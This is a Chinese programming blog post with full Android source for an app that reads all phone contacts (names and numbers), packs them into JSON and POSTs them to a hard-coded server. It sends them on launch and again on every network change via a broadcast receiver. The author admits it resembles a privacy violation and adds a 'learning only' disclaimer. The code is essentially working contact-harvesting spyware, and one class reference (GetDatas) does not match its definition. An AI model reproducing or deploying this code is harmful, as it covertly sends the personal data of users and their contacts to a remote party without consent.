获取手机联系人并且向服务器发送JSON数据

本文介绍了一款安卓应用的实现细节,该应用能够获取手机内的联系人信息,并将其转换为JSON格式,最终通过网络请求发送到指定服务器。文中详细展示了各部分代码,包括网络状态检查、联系人数据获取、数据格式化及发送等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[小项目] 获取手机联系人并且向服务器发送JSON数据

好久没有写文档了…最近忙着带班,也没有时间学习新东西,今天刚好有个小Demo,就写了一下,顺便丰富一下我的博客吧!


首先说一下需求: 简单的说,就是一个程序,会获取手机的联系人列表,然后转换成JSON字符串数组,向指定服务器中发送数据…总感觉有侵犯别人隐私权的意味;

注:仅供学习使用,不要做违法的事情哟


这个程序我写的有点有条理,首先有几个工具类:

1. 判断是否联网的工具类(NetUtils)

2. 从手机中获取所有联系人的工具类(GetDatasUtils)

3. 往服务器上发送数据的工具类(SendDatasUtils)

4. 将Java实体类转换成JSON字符串


然后一个实体类,用于存储联系人姓名和电话(ContactInfor)


一个MainActivity

一个广播接收者(MyReceiver)

对了,还有一个xml…是没有用的..


由于分类很明确,并且我都写注释了,所以直接上代码

MainActivity

package com.xdl.redwolf.mycontact;

import android.app.Activity;
import android.os.Bundle;

/**
 * @作者 RedWolf
 */
public class MainActivity extends Activity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
//        调用工具类 获取联系人并且发送到服务器.. 由于不加静态 所以工具类就变得四不像了..
//        这个请求不会重复利用 So...匿名对象即可
    SendDatasUtils.sendDatas(this);

}
}

ContactInfor

package com.xdl.redwolf.mycontact;

/**
 * @作者 RedWolf
 */
public class ContactInfor {
String cName;
String cPhone;

public ContactInfor() {
}

public String getcName() {
    return cName;
}

public String getcPhone() {
    return cPhone;
}


public void setcName(String cName) {
    this.cName = cName;
}

public void setcPhone(String cPhone) {
    this.cPhone = cPhone;
}

@Override
public String toString() {
    return "ContactInfor{" +
            "cName='" + cName + '\'' +
            ", cPhone='" + cPhone + '\'' +
            '}';
}

}

GetDatasUtils

package com.xdl.redwolf.mycontact;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;

import java.util.ArrayList;

/**
     * @作者 RedWolf
 */
public class GetDatasUtils {


public static ArrayList getDatas(Context context) {
    ArrayList<ContactInfor> contactList = new ArrayList<>();
    // 获取手机通讯录信息
    ContentResolver resolver = context.getContentResolver();
    // 获取联系人信息
    Cursor personCur = resolver.query(ContactsContract.Contacts.CONTENT_URI, null,
            null, null, null);
    // 循环遍历,获取每个联系人的姓名和电话号码
    while (personCur.moveToNext()) {
        // 新建联系人对象
        ContactInfor cInfor = new ContactInfor();
        // 联系人姓名
        String cname = "";
        // 联系人电话
        String cnum = "";
        // 联系人id号码
        String ID;
        ID = personCur.getString(personCur
                .getColumnIndex(ContactsContract.Contacts._ID));
        // 联系人姓名
        cname = personCur.getString(personCur
                .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
        // id的整型数据
        int id = Integer.parseInt(ID);
        if (id > 0) {
            // 获取指定id号码的电话号码
            Cursor c = resolver.query(
                    ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID
                            + "=" + ID, null, null);
            // 遍历游标
            while (c.moveToNext()) {
                cnum = c.getString(c
                        .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
            }
            // 将对象加入到集合中
            cInfor.setcName(cname);
            cInfor.setcPhone(cnum);
            contactList.add(cInfor);
        }
    }
//        最后 把整理出来的集合 返回出去
    return contactList;
}
}

JSONUtils

package com.xdl.redwolf.mycontact;

import android.util.Log;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;

    /**
     *@作者 RedWolf
     * 由于json解析太麻烦 还是自己写一个比较好...
     */
public class JSONUtils {
/**
     * 将集合转换为JSON格式的数据。
     */
public static String getJSON(ArrayList<ContactInfor> cIList) {
    try {
        JSONArray array = new JSONArray();
        JSONObject object = new JSONObject();
        int length = cIList.size();
        for (int i = 0; i < length; i++) {
            ContactInfor mContact = cIList.get(i);
            String name = mContact.getcName();
            String phone = mContact.getcPhone();
//                把实体类中的数据拿出来 塞入Json对象中..
            JSONObject stoneObject = new JSONObject();
            stoneObject.put("name", name);
            stoneObject.put("phone", phone);
//                JSON加入JSon数组
            array.put(stoneObject);
        }
//            把整个Json数组 编程Json对象
        object.put("mContact", array);
//            最后返回数据
        return object.toString();
    } catch (JSONException e) {
        Log.i("RedWolf", "JSONUtils报异常了.." + e.getMessage());
    }
    return null;
 }
}

MyReceiver

package com.xdl.redwolf.mycontact;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
 * @作者 RedWolf
 * <p/>
 * 咱就写一个广播接受者 反正是一个简单Demo 接收到
 */
public class MyReceiver extends BroadcastReceiver {
SendDatasUtils sdu;

//  由于是注册了一个广播接收者 所以 就算是结束了进程,那也是能用的.
public MyReceiver() {
}

@Override
public void onReceive(Context context, Intent intent) {
//        我管你接收到的是什么广播,我就注册了一个广播 那就是网络状态发生变化
    boolean flag = NetUtils.isNet(context);
    Log.i("IsNet", flag + "");
    if (flag) {
//            如果联网了  那么就获取那个啥  并且请求  由于不加静态 所以工具类就变得四不像了..
//           因为这一块  可能有用户很可恶 会一直调用更改网络状态 So..这个Utils对象 就应该变得 可重复利用
        SendDatasUtils.sendDatas(context);
    }
}
}

NetUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

/**
 * @作者 RedWolf
 * 用于判断是否联网
 */
public class NetUtils {

public static boolean isNet(Context context) {
    // 获取网络管理器
    if (context == null) {
        return false;
    }
    ConnectivityManager mConnectivityManager = (ConnectivityManager) context
            .getSystemService(Context.CONNECTIVITY_SERVICE);
    // 获取网络状态对象
    NetworkInfo mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
    // 判断是否联网
    if (mNetworkInfo == null) {
        return false;
    }
    return mNetworkInfo.isConnected();
}

}

SendDatasUtils

package com.xdl.redwolf.mycontact;

import android.content.Context;
import android.util.Log;

import com.android.volley.AuthFailureError;
import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.StringRequest;
import com.android.volley.toolbox.Volley;

import java.util.HashMap;
import java.util.Map;

/**
 * @作者 RedWolf
 */

public class SendDatasUtils {


public static void sendDatas(final Context context) {


//        用Vollery做网络请求..
        RequestQueue mQueue = Volley.newRequestQueue(context);
//        匿名子类的形式来重写getParams方法,
        StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.bmob.cn",
                new Response.Listener<String>() {
                    //                    无论请求成功还是请求失败 都要把集合清空..否则 因为是静态 会无限叠加..
                    @Override
                    public void onResponse(String response) {
//                        TODO 要是不需要多次返回数据,那么这里就应该写一个SharedPreferences在本地打一个标记,证明已经发送了,当然 一般是不需要的.
                    Log.i("RedWolf", "请求成功----------------------");

                }
            },
            new Response.ErrorListener() {
                @Override
                public void onErrorResponse(VolleyError error) {
                    Log.e("RedWolf", "请求失败??" + error.getMessage(), error);
                }
            }) {
        //            重写getParams方法..就是为了添加一个Post参数..
        @Override
        protected Map<String, String> getParams() throws AuthFailureError {
            Map<String, String> map = new HashMap<>();
//                解析联系人集合并且塞入String中..
                String datas = JSONUtils.getJSON(GetDatas.getDatas(context));
                map.put("param", datas);
                Log.i("RedWolf", datas);
                return map;
            }
        };
//        这样 就发了请求...
        mQueue.add(stringRequest);
    }
}
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值